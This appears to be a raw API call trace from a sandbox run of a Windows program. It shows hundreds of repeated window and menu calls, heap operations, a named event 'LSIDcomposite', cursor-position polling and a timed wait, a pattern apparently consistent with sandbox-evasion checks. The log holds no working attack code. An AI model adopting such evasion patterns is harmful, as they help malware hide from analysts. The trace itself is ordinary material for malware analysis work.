[0158.860] GetClientRect (in: hWnd=0x0, lpRect=0x18ec30 | out: lpRect=0x18ec30) returned 0 [0158.860] SetScrollInfo (hwnd=0x0, nBar=0, lpsi=0x18ec14, redraw=1) returned 0 [0158.861] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x18ec14, redraw=1) returned 0 [0158.861] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d878 | out: hHeap=0x2220000) returned 1 [0158.861] PtInRect (lprc=0x18e874, pt=0x0) returned 0 [0158.861] VarDateFromI4 (in: lIn=0, pdateOut=0x18e888 | out: pdateOut=0x18e888) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.861] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.862] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0158.863] SetScrollPos (hWnd=0x0, nBar=1197974244, nPos=3450786, bRedraw=1) returned 0 [0158.863] VarDateFromR4 (in: fltIn=0x0, pdateOut=0x18e888 | out: pdateOut=0x18e888) returned 0x0 [0158.863] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d878 [0158.863] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x20) returned 0x222e060 [0158.863] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e088 [0158.863] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e0a0 [0158.863] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e088 | out: hHeap=0x2220000) returned 1 [0158.863] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e0a0 | out: hHeap=0x2220000) returned 1 [0158.863] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222e060 | out: hHeap=0x2220000) returned 1 [0158.863] HeapFree (in: hHeap=0x2220000, dwFlags=0x0, lpMem=0x222d878 | out: hHeap=0x2220000) returned 1 [0158.863] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x4) returned 0x222d878 [0158.863] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x20) returned 0x222e060 [0158.863] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x10) returned 0x222e088 [0158.863] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="LSIDcomposite") returned 0x174 [0158.863] GetCursorPos (in: lpPoint=0x18e858 | out: lpPoint=0x18e858*(x=850, y=462)) returned 1 [0158.863] GetConsoleWindow () returned 0x0 [0158.863] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.863] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.863] DrawMenuBar (hWnd=0x0) returned 0 [0158.863] GetConsoleWindow () returned 0x0 [0158.863] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.863] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.863] DrawMenuBar (hWnd=0x0) returned 0 [0158.863] GetConsoleWindow () returned 0x0 [0158.863] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.863] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.863] DrawMenuBar (hWnd=0x0) returned 0 [0158.863] GetConsoleWindow () returned 0x0 [0158.863] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.863] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.863] DrawMenuBar (hWnd=0x0) returned 0 [0158.864] GetConsoleWindow () returned 0x0 [0158.864] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.864] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.864] DrawMenuBar (hWnd=0x0) returned 0 [0158.864] GetConsoleWindow () returned 0x0 [0158.864] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.864] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.864] DrawMenuBar (hWnd=0x0) returned 0 [0158.864] GetConsoleWindow () returned 0x0 [0158.864] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.864] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.864] DrawMenuBar (hWnd=0x0) returned 0 [0158.864] GetConsoleWindow () returned 0x0 [0158.864] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.864] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.864] DrawMenuBar (hWnd=0x0) returned 0 [0158.864] GetConsoleWindow () returned 0x0 [0158.864] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.864] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.864] DrawMenuBar (hWnd=0x0) returned 0 [0158.864] GetConsoleWindow () returned 0x0 [0158.864] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.864] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.864] DrawMenuBar (hWnd=0x0) returned 0 [0158.864] GetConsoleWindow () returned 0x0 [0158.864] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.864] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.864] DrawMenuBar (hWnd=0x0) returned 0 [0158.864] GetConsoleWindow () returned 0x0 [0158.864] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.864] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.864] DrawMenuBar (hWnd=0x0) returned 0 [0158.864] GetConsoleWindow () returned 0x0 [0158.864] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.864] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.864] DrawMenuBar (hWnd=0x0) returned 0 [0158.864] GetConsoleWindow () returned 0x0 [0158.864] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.864] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.865] DrawMenuBar (hWnd=0x0) returned 0 [0158.865] GetConsoleWindow () returned 0x0 [0158.865] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.865] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.865] DrawMenuBar (hWnd=0x0) returned 0 [0158.865] GetConsoleWindow () returned 0x0 [0158.865] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.865] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.865] DrawMenuBar (hWnd=0x0) returned 0 [0158.865] GetConsoleWindow () returned 0x0 [0158.865] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.865] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.865] DrawMenuBar (hWnd=0x0) returned 0 [0158.865] GetConsoleWindow () returned 0x0 [0158.865] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.865] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.865] DrawMenuBar (hWnd=0x0) returned 0 [0158.865] GetConsoleWindow () returned 0x0 [0158.865] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.865] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.865] DrawMenuBar (hWnd=0x0) returned 0 [0158.865] GetConsoleWindow () returned 0x0 [0158.865] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.865] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.865] DrawMenuBar (hWnd=0x0) returned 0 [0158.865] GetConsoleWindow () returned 0x0 [0158.865] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.865] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.865] DrawMenuBar (hWnd=0x0) returned 0 [0158.865] GetConsoleWindow () returned 0x0 [0158.865] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.865] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.865] DrawMenuBar (hWnd=0x0) returned 0 [0158.865] GetConsoleWindow () returned 0x0 [0158.865] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.865] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.865] DrawMenuBar (hWnd=0x0) returned 0 [0158.865] GetConsoleWindow () returned 0x0 [0158.865] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.865] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.865] DrawMenuBar (hWnd=0x0) returned 0 [0158.865] GetConsoleWindow () returned 0x0 [0158.866] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.866] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.866] DrawMenuBar (hWnd=0x0) returned 0 [0158.866] GetConsoleWindow () returned 0x0 [0158.866] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.866] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.866] DrawMenuBar (hWnd=0x0) returned 0 [0158.866] GetConsoleWindow () returned 0x0 [0158.866] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.866] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.866] DrawMenuBar (hWnd=0x0) returned 0 [0158.866] GetConsoleWindow () returned 0x0 [0158.866] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.866] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.866] DrawMenuBar (hWnd=0x0) returned 0 [0158.866] GetConsoleWindow () returned 0x0 [0158.866] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.866] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.866] DrawMenuBar (hWnd=0x0) returned 0 [0158.866] GetConsoleWindow () returned 0x0 [0158.866] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.866] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.866] DrawMenuBar (hWnd=0x0) returned 0 [0158.866] GetConsoleWindow () returned 0x0 [0158.866] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.866] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.866] DrawMenuBar (hWnd=0x0) returned 0 [0158.866] GetConsoleWindow () returned 0x0 [0158.866] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.866] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.866] DrawMenuBar (hWnd=0x0) returned 0 [0158.866] GetConsoleWindow () returned 0x0 [0158.866] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.866] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.866] DrawMenuBar (hWnd=0x0) returned 0 [0158.866] GetConsoleWindow () returned 0x0 [0158.866] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.866] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.866] DrawMenuBar (hWnd=0x0) returned 0 [0158.866] GetConsoleWindow () returned 0x0 [0158.866] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.866] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.867] DrawMenuBar (hWnd=0x0) returned 0 [0158.867] GetConsoleWindow () returned 0x0 [0158.867] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.867] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.867] DrawMenuBar (hWnd=0x0) returned 0 [0158.867] GetConsoleWindow () returned 0x0 [0158.867] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.867] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.867] DrawMenuBar (hWnd=0x0) returned 0 [0158.867] GetConsoleWindow () returned 0x0 [0158.867] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.867] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.867] DrawMenuBar (hWnd=0x0) returned 0 [0158.867] GetConsoleWindow () returned 0x0 [0158.867] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.867] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.867] DrawMenuBar (hWnd=0x0) returned 0 [0158.867] GetConsoleWindow () returned 0x0 [0158.867] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.867] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.867] DrawMenuBar (hWnd=0x0) returned 0 [0158.867] GetConsoleWindow () returned 0x0 [0158.867] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.867] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.867] DrawMenuBar (hWnd=0x0) returned 0 [0158.867] GetConsoleWindow () returned 0x0 [0158.867] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.867] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.867] DrawMenuBar (hWnd=0x0) returned 0 [0158.867] GetConsoleWindow () returned 0x0 [0158.867] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.867] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.867] DrawMenuBar (hWnd=0x0) returned 0 [0158.867] GetConsoleWindow () returned 0x0 [0158.867] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.867] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.867] DrawMenuBar (hWnd=0x0) returned 0 [0158.867] GetConsoleWindow () returned 0x0 [0158.868] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.868] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.868] DrawMenuBar (hWnd=0x0) returned 0 [0158.868] GetConsoleWindow () returned 0x0 [0158.868] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.868] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.868] DrawMenuBar (hWnd=0x0) returned 0 [0158.868] GetConsoleWindow () returned 0x0 [0158.868] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.868] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.868] DrawMenuBar (hWnd=0x0) returned 0 [0158.868] GetConsoleWindow () returned 0x0 [0158.868] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.868] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.868] DrawMenuBar (hWnd=0x0) returned 0 [0158.868] GetConsoleWindow () returned 0x0 [0158.868] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.868] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.868] DrawMenuBar (hWnd=0x0) returned 0 [0158.868] GetConsoleWindow () returned 0x0 [0158.868] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.868] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.868] DrawMenuBar (hWnd=0x0) returned 0 [0158.868] GetConsoleWindow () returned 0x0 [0158.868] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.868] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.868] DrawMenuBar (hWnd=0x0) returned 0 [0158.868] GetConsoleWindow () returned 0x0 [0158.868] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.868] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.868] DrawMenuBar (hWnd=0x0) returned 0 [0158.868] GetConsoleWindow () returned 0x0 [0158.868] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.868] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.868] DrawMenuBar (hWnd=0x0) returned 0 [0158.868] GetConsoleWindow () returned 0x0 [0158.868] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.868] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.868] DrawMenuBar (hWnd=0x0) returned 0 [0158.868] GetConsoleWindow () returned 0x0 [0158.868] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.869] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.869] DrawMenuBar (hWnd=0x0) returned 0 [0158.869] GetConsoleWindow () returned 0x0 [0158.869] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.869] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.869] DrawMenuBar (hWnd=0x0) returned 0 [0158.869] GetConsoleWindow () returned 0x0 [0158.869] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.869] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.869] DrawMenuBar (hWnd=0x0) returned 0 [0158.869] GetConsoleWindow () returned 0x0 [0158.869] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.869] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.869] DrawMenuBar (hWnd=0x0) returned 0 [0158.869] GetConsoleWindow () returned 0x0 [0158.869] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.869] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.869] DrawMenuBar (hWnd=0x0) returned 0 [0158.869] GetConsoleWindow () returned 0x0 [0158.869] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.869] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.869] DrawMenuBar (hWnd=0x0) returned 0 [0158.869] GetConsoleWindow () returned 0x0 [0158.869] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.869] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.869] DrawMenuBar (hWnd=0x0) returned 0 [0158.869] GetConsoleWindow () returned 0x0 [0158.869] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.869] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.869] DrawMenuBar (hWnd=0x0) returned 0 [0158.869] GetConsoleWindow () returned 0x0 [0158.869] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.869] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.869] DrawMenuBar (hWnd=0x0) returned 0 [0158.869] GetConsoleWindow () returned 0x0 [0158.869] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.869] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.869] DrawMenuBar (hWnd=0x0) returned 0 [0158.869] GetConsoleWindow () returned 0x0 [0158.869] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.869] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.869] DrawMenuBar (hWnd=0x0) returned 0 [0158.869] GetConsoleWindow () returned 0x0 [0158.869] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.870] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.870] DrawMenuBar (hWnd=0x0) returned 0 [0158.870] GetConsoleWindow () returned 0x0 [0158.870] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.870] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.870] DrawMenuBar (hWnd=0x0) returned 0 [0158.870] GetConsoleWindow () returned 0x0 [0158.870] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.870] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.870] DrawMenuBar (hWnd=0x0) returned 0 [0158.870] GetConsoleWindow () returned 0x0 [0158.870] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.870] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.870] DrawMenuBar (hWnd=0x0) returned 0 [0158.870] GetConsoleWindow () returned 0x0 [0158.870] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.870] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.870] DrawMenuBar (hWnd=0x0) returned 0 [0158.870] GetConsoleWindow () returned 0x0 [0158.870] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.870] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.870] DrawMenuBar (hWnd=0x0) returned 0 [0158.870] GetConsoleWindow () returned 0x0 [0158.870] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.870] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.870] DrawMenuBar (hWnd=0x0) returned 0 [0158.870] GetConsoleWindow () returned 0x0 [0158.870] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.870] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.870] DrawMenuBar (hWnd=0x0) returned 0 [0158.870] GetConsoleWindow () returned 0x0 [0158.870] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0158.870] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0158.870] DrawMenuBar (hWnd=0x0) returned 0 [0158.870] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0158.871] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=850, y=462)) returned 1 [0158.871] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xbb6) returned 0x102 [0162.033] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0162.033] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=807, y=453)) returned 1 